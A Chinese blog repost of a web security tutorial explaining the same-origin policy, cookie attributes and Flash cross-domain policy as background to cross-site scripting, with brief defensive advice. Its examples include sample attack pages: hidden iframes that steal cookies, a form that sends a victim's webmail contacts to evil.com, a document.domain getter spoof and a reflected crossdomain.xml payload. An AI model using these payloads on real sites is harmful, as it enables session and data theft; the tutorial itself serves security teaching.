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来自51CTO的跨站脚本攻击分析(上)

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原文:http://netsecurity.51cto.com/art/200902/111415.htm
作者:康凯

由于51CTO上面的文章排版很乱,因此我在复制回来后,重新排版。。。应该会比原文好看一点吧?原文里很多单引号都是用了中文字符的单引号了。已改回来。

原文如下:

跨站脚本的名称源自于这样一个事实,即一个Web 站点(或者人)可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。

在本文中,我们论述浏览器方面的安全措施,以及如何利用跨站脚本(XSS)这种常见的技术来规避浏览器的安全措施。在正式讨论跨站脚本攻击之前,我们必须首先要对现有的安全措施有所了解,所以本文将详细介绍当前Web应用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型。

一、Web安全模型

尽管浏览器的安全措施多种多样,但是要想黑掉一个Web应用,只要在浏览器的多种安全措施中找到某种措施的一个漏洞或者绕过一种安全措施的方法即可。浏览器的各种保安措施之间都试图保持相互独立,但是攻击者只要能在出错的地方注入少许JavaScript,所有安全控制几乎全部瓦解——最后还起作用的就是最弱的安全防线:同源策略。同源策略管辖着所有保安措施,然而,由于浏览器及其插件,诸如Acrobat Reader、Flash 和Outlook Express漏洞频出,致使同源策略也频频告破。在本文里,我们主要讨论浏览器的三个安全模型:
1.同源策略
2.cookies安全模型
3.Flash安全模型

此外,我们还会介绍如何利用JavaScript代码削弱这些安全模型的方法。

二、同源策略

  同源策略又名同域策略是浏览器中的主要安全措施。这里的“源”指的是主机名、协议和端口号的组合;我们可以把一个“源”看作是某个web页面或浏览器所浏览的信息的创建者。同源策略,简单地说就是要求动态内容(例如,JavaScript或者VBScript)只能阅读与之同源的那些HTTP应答和cookies,而不能阅读来自不同源的内容。更为有趣的是,同源策略对写操作没有任何限制。因而,一个web站点可以向任何其他的Web站点发送(或写入)HTTP请求,尽管为了防止跨站请求可能会对发送这些请求有关的cookies和头部有所限制。

  解释同源策略的最好的方法是实例说明。假定我们在网页http://foo.com/bar/baz.html中放上了JavaScript代码。那么,这些JavaScript可以读/写一些页面,但是却不能读/写其他页面。下表说明了来自http://foo.com/bar/baz.html的JavaScript可以访问哪些URL。

URL 能否访问这个URL 原因
https://foo.com/bar/baz.html 不可以。 协议不同,这里使用的协议是HTTPS。
http://www.foo.com/bar/baz.html 不可以。 两个主机名不同,这里的主机名是www.foo.com而不是foo.com。
http://foo.com:8080/bar/baz.html 不可以。 两个端口号不同。这里的端口是8080,而前面的端口被假定为80。
http://foo.com/index.html 可以。 协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意,两者的目录是不同的。这个目录是/而非/bar。
http://foo.com/cgi-bin/version2/webApp 可以。 协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意目录的区别这里的目录是/cgi-bin/version2,而非上面的/bar
http://foo.com:80/bar/baz.html 可以。 具有几乎相同的URL,HTTP协议匹配,端口是80(HTTP默认的端口),主机名也一样。

  上表说明了当http://foo.com/bar/baz.html试图加载某些URL时同源策略的工作情况。下面我们介绍同源策略的例外。通过在被请求的页面中对JavaScript的变量document.domain进行相应设置,可以使浏览器有限度地违反同源策略,即,如果http://www.foo.com/bar/baz.html页面中含有下列内容:

 

JavaScript代码
  1. <script>  
  2. document.domain = "foo.com";  
  3. </script>  

  那么任何http://xyz.foo.com/anywhere.html页面内的脚本都可以向http://www.foo.com/bar/baz.html发送HTTP请求,并可以读取其内容。在此种情况下,如果攻击者能够向http://xyz.foo.com/anywhere.html中注入HTML或JavaScript的话,那么他同时也能在http://www.foo.com/bar/baz.html中注入JavaScript代码。
为此,攻击者需要首先在http://xyz.foo.com/anywhere.html(其document.domain设为foo.com)中注入HTML和JavaScript,并向http://www.foo.com/bar/baz.html(其document.domain也设为foo.com)中载入一个iframe,然后就可以通过JavaScript来访问该iframe的内容了。例如,http://xyz.foo.com/anywhere.html中的下列代码将在www.foo.com域中执行一个JavaScript的alert()函数:

 

 

XML/HTML代码
  1. <iframe src="http://www.foo.com/bar/baz.html" onload="frames[0].document.body.innerHTML+='<img src=x onerror=alert(1)'"></iframe>  

  这样,document.domain将允许攻击者跨域活动(域际旅行)。注意,你不能在document.domain变量中放入任何域名,相反,只能在document.domain变量中放置“源”页面即所在页面的域名的上级域名,如www.foo.com的上级域名是foo.com 。
在 Firefox浏览器中,攻击者可以利用__defineGetter__()来操纵document.domain,命令 document.domain返回攻击者所选的任意字符串。这个不会损害浏览器的同源策略,因为它只对JavaScript引擎有影响,而不会影响底层的文档对象模型(DOM),然而这对于依靠document.domain在后台进行跨域请求的JavaScript应用程序却是有影响的。例如,假如一个后台请求http://somesite.com/GetInformation?callback=callbackFunction的应答的HTTP体如下所示:

JavaScript代码
  1. function callbackFunction() {  
  2. if ( document.domain == "safesite.com") {  
  3. return "Confidential Information";  
  4. }  
  5. return "Unauthorized";  
  6. }  

  通过诱骗受害者访问(攻击者的)包含下列脚本的页面,攻击者就可以可以获得保密资料:

JavaScript代码
  1. <script>  
  2. function callbackFunction() {return 0;}  
  3. document.__defineGetter__("domain"function() {return "safesite.com"});  
  4. setTimeout("sendInfoToEvilSite(callbackFunction())",1500);  
  5. </script>  
  6. <script src="http://somesite.com/GetInformation?callback=callbackFunction">  
  7. </script>  

  这段HTML代码利用__defineGetter__()对document.domain进行了设置,并且建立了一个针对http://somesite.com/GetInformation?callback=callbackFunction的跨域请求。最后,它会在1.5秒——对于浏览器建立到达somesite.com的请求来说,这个时间已经够宽裕了——之后调用 sendInfoToEvilSite(callbackFunction())。因此,我们不应扩展document.domain来用作它用。
如果同源策略失守,后果如何?同源策略使得一个“邪恶的”Web 站点无法访问其它的Web 站点,然而,一旦同源策略被攻破,后果将会如何?攻击者将可以作哪些事情?下面让我们考察一个假想的例子。
假如一位攻击者在http://www.evil.com/index.html建立了一个页面,该页面可以阅读来自其它域的HTTP应答,例如来自一个webmail应用程序的应答等,并且攻击者可以诱骗webmail用户访问http://www.evil.com/index.html。那么,攻击者将能阅读受骗用户的通信录。 为此,攻击者可以在http://www.evil.com/index.html中放入

下列JavaScript代码:

XML/HTML代码
  1. <html >  
  2. <body >  
  3. <iframe style="display:none" name="WebmailIframe"  
  4. src="http://webmail.foo.com/ViewContacts"> <!-- Step 1 -->  
  5. </iframe>  
  6. <form action="http://evil.com/getContactList" name=”EvilForm" >  
  7. <input type="hidden" name="contacts" value="default value" >  
  8. </form >  
  9. 现在,您所有联系人都已经落入我们的手中了。  
  10. </body >  
  11. <script>  
  12. function doEvil() {  
  13. var victimsContactList = document.WebmailIframe.innerHtml; /* Step 3 */  
  14. document.EvilForm.contacts = victimsContactList;  
  15. document.EvilForm.submit;  
  16. }  
  17. setTimeout("doEvil()", 1000); /* Step 2 */  
  18. </script>  
  19. </html >  

  第一步使用了一个名为WebmailIframe的iframe来装载http://webmail.foo.com/ViewContacts,它是webmail应用程序中的一个调用,用以收集用户的联系人名单。

第二步是等待1秒钟,然后执行JavaScript函数doEvil()。这个延迟能确保联系人名单被装载到iframe中。确认联系人名单已经被装载到iframe之后,doEvil()尝试访问在步骤三中的iframe得到的数据。如果同源策略被攻陷或不存在的话,攻击者就已经在变量 victimsContactList得到了受害者的联系人名单。攻击者可以利用JavaScript和该页面的表单将联系人名单发送至evil.com的服务器。

如果攻击者利用跨站请求伪造(CSRF)技术以受害者的名义向所有联系人发送电子邮件的话,情况会变得更糟:这些联系人将收到一封貌似来自朋友的电子邮件,并且在邮件中邀请他们点击http://www.evil.com/index.html。

注意,如果同源策略失守的话,那么任何Web应用都容易受到攻击,而不仅仅是Webmail应用。 这时Web将没有安全可言,目前的许多安全研究的焦点都集中在攻破同源策略上面。 过不了多久,您就会有惊奇的发现。

三、Cookie安全模型

HTTP是一种无状态协议,这意味着一个HTTP请求/应答对跟另一个HTTP请求/应答对毫不相干。随着HTTP的发展,开发人员希望能够维护所有请求/应答的某些数据,这样他们就能够建立更丰富多彩的Web应用。为此,RFC2109建立了一种标准,每个HTTP请求可以利用HTTP头部自动地将来自用户的数据(又称为cookie)发送给服务器。无论是web页面还是服务器,都可以读/写这个数据。一般情况下,可以通过JavaScript的 document.cookie来访问cookie,而cookie通常是由一些名字和值对组成,如下所示:
CookieName1=CookieValue1; CookieName2=CookieValue2;

由于Cookie经常用来存储诸如认证证书之类的机密信息的,为了保护这些信息,RFC2109为其定义了类似于同源策略的安全策略。服务器定为 cookies的主控制器,服务器不仅可以对cookie进行读写操作,而且还能为cookie配置安全属性。cookie的安全属性如下所示:

1.Domain:这个属性的用途与同源策略类似,但是具有更多的限制。就像同源策略一样,domain在默认时为HTTP请求的Host头部中的域名,但是domain也可以设置成更高一级的域名。例如,如果HTTP请求的Host头部中的域名为x.y.z.com,那么x.y.z.com站点可把cookies设为用于所有*.y.z.com域,但是x.y.z.com站点却不能把cookies设为用于所有*.z.com——因为前面说过,只能比HTTP请求的Host头部中的域名高出一个级别,当然,任何域都不能将cookies设为用于顶级域名,如*.com,这是不允许的。

2.Path:这个属性是用来提高域安全模型的控制力度,使其包含URL路径。注意,属性path是可选的,如果设置了它,那么cookie只会发送给路径与属性path相吻合的那些服务器。例如,如果http://x.y.z.com/a/WebApp建立了一个路径属性设为/a的cookie;那么该cookie只会发送给所有http://x.y.z.com/a/*范围内的请求。但是,当人们向http://x.y.z.com/index.html或http://x.y.z.com/a/b/index.html的请求时,该cookie不会发送。

3.Secure:如果一个cookie设置了该属性,那么只有遇到HTTPS请求时才发送该cookie。注意,HTTP和HTTPS的响应都可以对属性secure进行相应的设置。因此,一个HTTP请求/应答可以改变HTTPS的cookie的secure设置。对于某些高级中间人攻击来说,这是一个大问题。

4.Expires:通常情况下,当浏览器关闭时,cookies就会被删除。不过,您可以设置一个截止日期,在此之前,cookies将一直存放在用户的机器上,并且对于每个HTTP请求都发送此cookie,直到期满为止。截止日期的格式一般为Wdy, DD-Mon-YYYY HH:MM:SS GMT。 通过设置属性expires为一个过去的日期,可以立即删除cookies。

5.HttpOnly:这个属性对于Firefox和Internet Explorer都是新增的。它在Web应用中很少使用,因为它只对Internet Explorer有效。如果这个属性被设置,那么IE 将不允许阅读该cookie,也不允许通过JavaScript的document.cookie对该cookie执行写操作。这个属性是用来防止攻击者窃取cookies来做坏事,不过,攻击者总是可以创建JavaScript来做等价的事情,所以即使不通过窃取cookies也无所谓。
下面是带有安全属性cookies的示例代码:

 

 

JavaScript代码
  1. CookieName1=CookieValue1; domain=.y.z.com; path=/a;  
  2. CookieName2=CookieValue2; domain=x.y.z.com; secure  

  我们知道,像来自服务器端的JavaScript和VBScript代码可以通过访问变量document.cookie来对cookies进行读写操作,除非该cookie设置了HttpOnly属性并且用户正在使用IE。这是一个很大的安全隐患,黑客对此极为感兴趣,因为cookies通常含有认证证书,CSRF保护措施的信息和其他机密信息;此外,中间人攻击可以编辑HTTP通信中的JavaScript代码,呵呵,这简直就是一场恶梦。

如果一位攻击者可以突破或绕过同源策略的话,就可以通过DOM的变量document.cookie轻松读取cookies。另外,写入新的cookies也是非常容易的,攻击者只要使用类似下列字符串格式来连接document.cookie变量即可:

JavaScript代码
  1. var cookieDate = new Date ( 2030, 12, 31 );  
  2. document.cookie += "CookieName=CookieValue;" +  
  3. /* 以下各行均为可选内容 */  
  4. "domain=.y.z.com;" +  
  5. "path=/a;" +  
  6. "expires=" + cookieDate.toGMTString() + ";" +  
  7. "secure;" +  
  8. "HttpOnly;"  

  读者可以对照全面讲述的内容自己理解上述代码,我想这并非难事。

四、Cookies在创建和语法分析方面的安全隐患

Cookies可以用于JavaScript、浏览器、Web服务器、负载均衡系统及其他独立系统,每个系统都使用不同的代码来解析 Cookies。毫无疑问,这些系统将以不同的方式来解析和阅读cookies。攻击者也许能够将受害者已有的cookie中的一个替换掉,换上的 cookie在系统看来表面上跟想要的那个没什么两样,但是实际上内容却大相径庭了。

举例来说,攻击者也许能够添加一个cookie,而这个cookie恰好与受害者已有的cookies中的一个重名,这样攻击者就覆盖了原先的cookie。可以考虑一下大学的设置,其中一位攻击者具有一个公开的web页面,位于http://public-pages.daxue.edu/~attacker,同时该大学在https://webmail.daxue.edu/提供了一个webmail服务。攻击者可以自己制作一个cookie并且将域设为.daxue.edu,然后把它发送到https://webmail.daxue.edu/。假如这个cookie跟webmail用于认证的cookie同名的话,现在webmail系统读取的将是攻击者伪造的cookie,而不是webmail为用户所建立的cookie。

这时候,webmail系统会将发送该cookie的人(即攻击者)当作是其他的人对待,并进入被冒充的人(即受害者)的webmail帐户。之后,攻击者就可以对受害者中的邮件做手脚,让账户内只留下一封电子邮件,并声称用户的电子邮件由于安全原因而被屏蔽,该用户必须转到http://public-pages.Daxue.edu/~attacker/reAuthenticate(或者一个隐蔽的恶意链接)去重新登录才能看到他的所有邮件。攻击者可以建立一个重新认证连接,使其看上去像一个典型的大学登录页面那样要求受害者输入用户名和口令。当受害者递交个人信息后,用户名和口令会被发送给攻击者。
实际上,仅仅注入cookie片段也可以使不同的系统读取不同的cookies。注意,cookies和访问控制使用相同的符号进行分隔:分号(;)。如果攻击者可以通过JavaScript添加cookies,或者cookies是根据一些用户输入来添加的,那么攻击者可以附加一个 cookie片段,以利用该片段改变安全特性或者其它的cookies的值。

五、利用JavaScript将Cookie安全模型降低至同源策略
Cookie安全模型要比同源策略更安全一些,但是利用一些JavaScript,可以把cookie的域还原成跟同源策略的document.domain设置相同的安全级别,并且该cookie的path属性可以被完全绕过。
我们还是使用前面的大学webmail的例子,这里假设攻击者在http://public-pages.daxue.edu/~attacker/创建了一个web页面,同时该大学在http://webmail.daxue.edu/建有一个webmail系统。如果在http://webmail.daxue.edu/中的某个页面的document.domain="daxue.edu",假设该页面为http://webmail.daxue.edu/badPage.html,那么攻击者可以通过诱导受害者到达http://public-pages.daxue.edu/~attacker/stealCookies.htm来窃取受害者的cookies,该页包含以下代码:

 

 

JavaScript代码
  1. <script>  
  2. function stealCookies() {  
  3. var victimsCookies = document.getElementById("iLoveIframes").cookie;  
  4. sendCookiesSomewhere(victimsCookies);  
  5. }  
  6. </script>  
  7. <iframe id="iLoveIframes" onload="stealCookies()"  
  8. style="display:none"  
  9. src="http://webmail.daxue.edu/badPage.html" >  

  类似的,如果攻击者的个人页面位于http://www.daxue.edu/~attacker/,webmail系统位于http://www.daxue.edu/webmail/,同时webmail的cookie中的路径被设为path=/webmail,那么,攻击者就可以通过诱使受害者浏览 http://www.daxue.edu/~attacker/stealCookies.html来窃取受害者的cookie,其中这个页面包含如下所示的恶意代码:

JavaScript代码
  1. <script>  
  2. function stealCookies() {  
  3. var victimsCookies = document.getElementById("iLoveIframes").cookie;  
  4. sendCookiesSomewhere(victimsCookies);  
  5. }  
  6. </script>  
  7. <iframe id="iLoveIframes" onload="stealCookies()"  
  8. style="display:none"  
  9. src="http://www.daxue.edu/webmail/anyPage.html" >  
  10. </iframe>  

  六、保护Cookie
利用Cookie安全模型中添加的特性,但是不要完全依赖Cookie安全模型中的添加的安全特性。只信任同源策略,并围绕同源策略来打造Web应用程序的安全性。

七、Flash的安全模型
Flash是一种流行的Web浏览器插件,它近来发行的版本中包含了很多复杂的安全模型以供开发人员根据自己的喜好进行定制。这里我们将介绍Flash的安全模型的各个方面,首先介绍的是JavaScript所不具备的那些特性。
Flash的脚本语言称为ActionScript,它与JavaScript非常类似,并且包含了一些从攻击者的角度看来非常感兴趣的一些类:
1.Socket类使开发人员可以创建至allowed域的原始TCP套按字连接,这可以用来达到各种目的,比如精心制作带有伪造的各种报头(例如referrer)的HTTP请求。此外,套按字也可用于扫描无法从外部访问的网络计算机和端口。  
2.ExternalInterface类使开发人员可以从Flash运行浏览器中的JavaScript,以达到各种目的,例如读写document.cookie。
3.XML和URLLoader这两个类可以以某用户的名义发送HTTP请求(连带浏览器的Cookie)至allowed域,以达到各种目的,例如跨域请求。
默认时,Flash的安全模型与同源策略非常类似。即,来自于某个域的Flash应用只可以读取来自该域的响应。此外,Flash还对HTTP请求的发送做了一些安全限制,但是您可以经过Flash的getURL函数发送跨域的GET请求。此外,Flash不允许通过HTTP装入的Flash应用程序读取用 HTTPS载入的响应。需要注意的是,如果在另一个域上的安全策略准许跟Flash应用程序所在域通信的话,Flash却允许跨域通信。安全策略通常是一个名为crossdomain.XML的XML文件,一般位于域的根目录下。从安全角度讲,最糟糕的策略文件可能是下面这样:

 

 

XML/HTML代码
  1. <cross-domain-policy>  
  2. <allow-access-from domain="*" />  
  3. </cross-domain-policy>  

  该策略允许任何Flash应用程序跟存放这个crossdomain.xml文件的服务器(跨域)通信。该策略文件可以任意取名,并且可以放在任何目录下。可以使用下列ActionScript代码加载任意的安全策略文件:
System.security.loadPolicyFile("http://public-" +"pages.univeristy.edu/crossdomain.xml");
如果它不在服务器的根目录中,那么该政策仅适用于该策略文件所在的目录以及该目录下的所有子目录。举例来说,假设策略文件位于http://public-pages.daxue.edu/~attacker/crossdomain.xml,那么该政策将适用于对http://publicpages.daxue.edu/~attacker/doEvil.html和http://public-pages.daxue.edu/~attacker/moreEvil/doMoreEvil.html的请求,而不对诸如http://public-pages.daxue.edu/~someStudent/familyPictures.html或http://public-pages.daxue.edu/index.html这样的页面有影响。

八、反射策略文件

策略文件会被Flash“宽大地”解析,因此,如果您可以构造一个会导致服务器发回一个策略文件的HTTP请求,Flash将接受该策略文件。举例来说,http://www.daxue.edu/CourseListing?format=js&callback=<cross-domain-policy><allow-accessfrom%20domain="*"/></cross-domain-policy>这个Ajax请求

将得到如下所示的响应:

XML/HTML代码
  1. <cross-domain-policy ><allow-access-from%20domain="*">  
  2. </cross-domain-policy >() { return {name:"English101",  
  3. desc:"Read Books"}, {name:"Computers101",  
  4. desc:"play on computers"}};  
  5. 然后,您可以通过ActionScript加载该策略:  
  6. System.security.loadPolicyFile("http://www.daxue.edu/" +  
  7. "CourseListing?format=json&callback=" +  
  8. "<cross-domain-policy >" +  
  9. "<allow-access-from%20domain=\"*\"/ >" +  
  10. "</cross-domain-policy >");  



这样会导致该Flash应用程序能够得以跨域访问http://www.daxue.edu/。
也能您已经想到了,如果人们可以上载一个文件到包含一个不安全的策略文件的服务器并能够随后在通过HTTP进行检索的话,那么System.security.loadPolicyFile()函数也会跟这个策略文件关联起来。

总之,Flash将遵守任何包含跨域策略的文件,除非</cross-domainpolicy>之前存在任何未闭合的标签或者扩展ASCII字符。注意,Flash Player会完全忽略MIME类型。

九、针对策略文件反射的保护措施

当把用户定义的数据返回给该用户时,应当把HTML中的大于号〉换码为&gt;并且把字符<转换为&lt;,或者直接将其删除。

十、结束语

在浏览器中已经建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些浏览器插件,诸如Flash Player、Outlook Express 以及Acrobat Reader等,带来了更多的安全问题和安全措施。然而,如果攻击者可以强迫用户执行源自特定域的JavaScript的话,这些额外的安全措施总是倾向于削弱同源策略的力量。

跨站点脚本攻击(XSS)技术能够强迫用户执行攻击者以受害者名义在某个域上选择的脚本,如JavaScript、VBScript、 ActionScript,等等。XSS要求某个域上的Web应用程序能够提供(即供应、返回)被攻击者所控制的字符。因此,攻击者可以向页面注入代码,而这些代码将来会在这个有弱点的域的上下文中执行。攻击者精心构造出供受害者运行的恶意代码之后,他还必须诱骗受害者单击一个链接。该链接一经点击,马上就会启动攻击活动。这些内容将在下一篇中加以介绍。

 




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Tags: 跨站脚本, 跨站攻击, 分析, 51cto, xss

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1条记录访客评论

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Post by wk on 2010, April 12, 2:35 PM 引用此文发表评论 #1


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